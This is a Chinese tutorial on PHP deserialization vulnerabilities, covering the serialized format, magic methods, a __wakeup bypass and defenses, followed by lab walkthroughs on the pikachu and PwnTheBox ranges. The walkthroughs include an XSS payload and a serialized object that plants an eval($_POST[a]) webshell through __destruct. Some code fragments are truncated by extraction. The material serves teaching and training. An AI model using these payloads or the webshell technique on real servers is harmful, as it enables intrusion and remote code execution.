Web安全--反序列化漏洞详解(php篇)

0x00 简介

序列化是将一个对象转换为字符串以便存储传输的一种方式,反序列化则是将一段字符串转换为一个对象供程序使用,是序列化的逆过程。在php中,序列化反序列化所对应的函数为serialize()unserialize()。

0x01 漏洞原理

序列化和反序列化本身没有问题,当程序进行反序列化时,会自动调用一些函数,例如__wakeup(),__destruct()等函数(称为魔术方法)。如果传入unserialize()函数的参数是用户能控制的,那么用户可以输入一些恶意代码到函数中,进行反序列化的时候就有可能会触发对象中的一些魔术方法,从而导致反序列化漏洞。

漏洞产生条件

1、有反序列化函数unserialize()

2、传入的参数用户可以控制

3、可利用的类中有魔术方法可以利用

0x02 序列化函数(serialize

将对象转换为一段字符串方便存储传输。

00 测试代码

01 结果 

O:3:"Stu":2:{s:4:"name";s:3:"biu";s:3:"age";i:18;}
O:代表object
3:代表对象名字长度为一个字符
Stu:对象的名称
2:代表对象里面有二个变量
s:数据类型(string)
4:变量名称的长度
name:变量名称
3:变量值的长度
biu:变量值
s:数据类型(string)
3:变量名称的长度
age:变量名称
i:数据类型(int)
18:变量值

0x03 反序列化函数(unserialize

从序列化的结果中恢复对象,将一段字符串转换为对象

00 测试代码

01 结果 

//序列化结果
O:3:"Stu":2:{s:4:"name";s:3:"biu";s:3:"age";i:18;}
//反序列化结果
Stu Object
(
    [name] => biu
    [age] => 18
)

0x04 魔术方法

00 常见的魔术方法

__construct()        当一个对象创建时被调用
__destruct()         当一个对象销毁时被调用
__toString()         当一个对象被当作一个字符串时使用
__call()             在对象上下文中调用不可访问的方法时触发
__get()              用于从不可访问的属性读取数据
__set()              用于将数据写入不可访问的属性
__sleep()            在对象在被序列化之前运行
__wakeup()           如果有,在反序列化之前调用

01 实例

02 结果

对象被创建了__consrtuct()
执行了序列化__sleep()
O:3:"Stu":2:{s:4:"name";s:3:"biu";s:3:"age";i:18;}
对象被当做字符串输出__toString()biu
执行了反序列化__wakeup()
Stu Object
(
    [name] => biu
    [age] => 18
)
对象被销毁了__destruct()
对象被销毁了__destruct()

0x05 其他知识

对象属性个数的值大于实际属性个数时,会绕过__wakeup执行。

例如:O:3:"Stu":3:{s:4:"name";s:3:"biu";s:3:"age";i:18;}

3 > 2个属性个数,将绕过__wakeup执行。

如果变量前是protected,则是<0x00>*<0x00>属性名的形式
如果变量前是private,则是<0x00>类名<0x00>属性名的形式 

此时该字符串复制会发生错误,无法显示,需要将字符串进行urlencode和base64编码

protected $name = 'biu';
private $age = 18;

例如:O:3:"Stu":2:{s:7:"<0x00>*<0x00>name";s:3:"biu";s:8:"<0x00>Stu<0x00>age";i:18;} 

0x05 防御

1、进入反序列函数时,对用户输入的参数进行过滤

2、 不要将用户输入的参数或者用户可控的参数直接放到反序列函数

0x06 漏洞展示

00 pikachu靶场

找到靶场反序列化源码

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}

$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="

大兄弟,来点劲爆点儿的!

"; }else{ $html.="

{$unser->test}

"; }

参数接受为POST类型,将参数传递给“o”,再进行反序列化,构造payload

alert(/xss/)";
}
$b=new S();
$a = serialize($b);
print_r($a);
?>


O:1:"S":1:{s:4:"test";s:29:"";}

Web安全--反序列化漏洞详解(php篇)_第1张图片

01 PwnTheBox靶场(Double-S)

首先进入靶场环境,发现什么都没有,对其进行目录扫描,发现有代码压缩包,对其进行下载

Web安全--反序列化漏洞详解(php篇)_第2张图片

 有一个session.php文件,接下来对其进行代码审计,发现在__destruct()函数下有命令执行的函数eval,接受参数为"aa"。我的想法就是构造payload,将参数传递到eval()函数进行执行命令。

info = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->info);
    }
}
if(isset($_GET['aa']))
{
    if(unserialize($_GET['aa'])=='phpinfo')
    {
    	$m = new Anti();
    }
}
else
{
    header("location:index.html");
}

?>

构造payload



O:4:"Anti":1:{s:4:"info";s:16:"eval($_POST[a]);";}

蚁剑连接成功,成功找到flag(PTB{c3b9a949-d702-451a-b05e-7e2739471882})。

Web安全--反序列化漏洞详解(php篇)_第3张图片

你可能感兴趣的:(java,开发语言)